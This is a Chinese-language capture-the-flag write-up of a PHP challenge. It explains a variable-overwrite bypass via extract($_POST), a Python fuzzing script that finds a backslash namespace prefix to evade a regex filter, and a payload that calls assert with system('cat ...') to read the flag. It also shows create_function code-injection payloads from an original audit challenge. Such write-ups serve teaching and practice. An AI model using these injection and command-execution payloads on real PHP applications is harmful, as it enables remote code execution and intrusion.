题目
题目直接给出源代码:
<?php
show_source(__FILE__);
$key = "bad";
extract($_POST); // 使用POST接收参数
if($key === 'bad'){ // $key 与 'bad' 进行比较,值不相同时才可以继续运行代码
die('badbad!!!');
}
$act = @$_GET['act']; // 获得 act 参数
$arg = @$_GET['arg']; // 获得 arg 参数
if(preg_match('/^[a-z0-9_]*$/isD',$act)) { // 针对act参数进行过滤
echo 'check';
} else {
$act($arg,''); // 动态调用
}
echo '666';
解题过程
针对第一个逻辑判断,可以利用PHP变量覆盖漏洞,使用Post传入新的$key进行绕过。
第二个逻辑判断的位置使用了正则表达式,该正则表达式细节如下:
/i
不区分大小写
/s
匹配任何不可见字符,包括空格,TAB,换行
/D
如果使用 $
限制结尾字符,则不允许结尾有换行
总结后得到:该表达式匹配所有字母,数字和下划线开头的字符串,我们可以通过控制 $act 决定执行何种函数。
编写脚本尝试fuzz可以bypass的字符:
import requests
url = "http://xmctf.top:8872/?act="
getPayload = "var_dump&arg=time"
postPayload = {
'key': '123'
}
for i in range(1, 256):
payload = url + "%" + hex(i).replace('0x', '') + getPayload
re = requests.post(url=payload, data=postPayload)
if 'time' in re.text:
print (payload)
得到 %5c
,即 ,可以让 var_dump 成功执行,
php 里默认命名空间是 ,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name() 调用,调用的时候其实相当于写了一个相对路径;而如果写 function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
这时只要寻找一个能够执行命令同时有两个参数的函数,eval无法胜任,而assert可以传入两个参数。
使用payload:http://xmctf.top:8872/?act=%5cassert&arg=system('cat ../ffflll4g')
,即可读取flag。
扩展
在查阅资料的时候发现,本题的第二部分改编自大佬代码审计的题目,并降低了部分难度。
原题目如下:
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
原题目中可以使用create_function()函数,该函数相关知识前面整理过,这里粘贴出来:
string create_function ( string $args , string $code )
该函数用来创建匿名函数。
这个函数的实现大概是这样的
$b = create_function('$name','echo $name;');
//实现
function __lambda_func($name){
echo $name;
}
$b(yang);
-
如果可控在第一个参数,需要闭合圆括号和大括号:
create_function('){}phpinfo();//', '');
-
如果可控在第二个参数,需要闭合大括号:
create_function('', '}phpinfo();//');
得到payload:?action=create_function&arg=}phpinfo();/*